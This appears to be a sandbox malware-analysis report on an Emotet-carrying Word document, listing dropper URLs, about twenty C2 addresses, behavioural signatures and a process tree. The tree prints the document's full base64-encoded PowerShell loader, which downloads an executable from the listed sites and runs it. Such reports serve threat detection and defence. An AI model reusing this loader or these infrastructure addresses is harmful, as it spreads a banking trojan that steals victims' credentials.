Overview

overview

10

Static

static

8

PO_07292020EX.doc

windows7_x64

10

PO_07292020EX.doc

windows10_x64

1

Analysis

  • max time kernel
    151s
  • max time network
    90s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    30/07/2020, 10:29

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General

  • Target
    PO_07292020EX.doc
  • Size 174KB
  • Sample200730-eamvs5elka
  • SHA256 cc1c85fbcda8db7e5b287f91d83f2f4acf6235e999339f956e9d592f9e7c59a8
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.sourcetechno.com/wp-includes/pl0_sux_k2b4cgyr/
  • exe.dropper

    http://haek.net/wp-includes/o5kn_2i_4qtj9wg/
  • exe.dropper

    http://www.tarjetasas.com/web/o9kb_qb_na7usf6/
  • exe.dropper

    http://greatfxmedia.com/clients/6whg9_9ww91_ev4kr/
  • exe.dropper

    http://guyn3.com/newsletter/z3a_r_rm70xlsb3/

Extracted

Family

  • emotet

C2

  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_07292020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1240
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFIAVABHAEsAZwBvAHcAPQAnAEsASwBVAE8AVgBuAHoAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABZAGAAUABSAE8AVABgAG8AYwBgAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFUAVgBBAFgAUQBzAG0AeQAgAD0AIAAnADMAOQAyACcAOwAkAFIARQBUAFkAVQBsAHYAegA9ACcAVwBaAEEAVgBXAHQAYgBlACcAOwAkAFYARwBWAEcATQBoAHcAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQBWAEEAWABRAHMAbQB5ACsAJwAuAGUAeABlACcAOwAkAFAAVwBQAFMAUQBpAG0AdgA9ACcARgBBAE0AWQBOAGkAdgBnACcAOwAkAFMATwBIAE0ASwBpAHkAcgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwASQBlAG4AVAA7ACQAWQBSAEIAVgBBAGYAcQB2AD0AJwBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBvAHUAcgBjAGUAdABlAGMAaABuAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHAAbAAwAF8AcwB1AHgAXwBrADIAYgA0AGMAZwB5AHIALwAqAGgAdAB0AHAAOgAvAC8AaABhAGUAawAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbwA1AGsAbgBfADIAaQBfADQAcQB0AGoAOQB3AGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB0AGEAcgBqAGUAdABhAHMAYQBzAC4AYwBvAG0ALwB3AGUAYgAvAG8AOQBrAGIAXwBxAGIAXwBuAGEANwB1AHMAZgA2AC8AKgBoAHQAdABwADoALwAvAGcAcgBlAGEAdABmAHgAbQBlAGQAaQBhAC4AYwBvAG0ALwBjAGwAaQBlAG4AdABzAC8ANgB3AGgAZwA5AF8AOQB3AHcAOQAxAF8AZQB2ADQAawByAC8AKgBoAHQAdABwADoALwAvAGcAdQB5AG4AMwAuAGMAbwBtAC8AbgBlAHcAcwBsAGUAdAB0AGUAcgAvAHoAMwBhAF8AcgBfAHIAbQA3ADAAeABsAHMAYgAzAC8AJwAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXAFQAWQBWAE8AaABuAGEAPQAnAEoAUABYAFYAVABpAGsAbgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBRAFQASABVAHQAcgB3ACAAaQBuACAAJABZAFIAQgBWAEEAZgBxAHYAKQB7AHQAcgB5AHsAJABTAE8ASABNAEsAaQB5AHIALgAiAEQATwBgAHcAYABOAGAAbABPAEEAZABmAEkAbABFACIAKAAkAFUAUQBUAEgAVQB0AHIAdwAsACAAJABWAEcAVgBHAE0AaAB3AGYAKQA7ACQAQgBZAE8ATABNAHoAbABxAD0AJwBPAFkATABSAEEAcAB5AGYAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABWAEcAVgBHAE0AaAB3AGYAKQAuACIAbABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADgAOQA2ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBgAEUAYABBAHQAZQAiACgAJABWAEcAVgBHAE0AaAB3AGYAKQA7ACQAVQBJAEgARgBRAGgAYwBnAD0AJwBLAEgARABOAEEAdgB0AGgAJwA7AGIAcgBlAGEAawA7ACQASwBHAFoASgBZAGkAegBjAD0AJwBTAE8ASQBYAE4AeAB0AHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABUAFkARABKAHQAagBmAD0AJwBLAEsATABXAEcAaAByAHYAJwA=
    1⤵
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1528
  • C:\Users\Admin\392.exe
    C:\Users\Admin\392.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:564
    • C:\Windows\SysWOW64\wuwebv\NETSTAT.exe
      "C:\Windows\SysWOW64\wuwebv\NETSTAT.exe"
      2⤵
      • Executes dropped EXE
      • Gathers network information
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1304

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/564-10-0x0000000000300000-0x000000000030C000-memory.dmp
        Download

        memory/1240-2-0x0000000008800000-0x0000000008804000-memory.dmp
        Download

        memory/1240-5-0x000000000ACF0000-0x000000000ACF4000-memory.dmp
        Download

        memory/1240-6-0x000000000BD70000-0x000000000BD74000-memory.dmp
        Download

        memory/1240-15-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1304-14-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download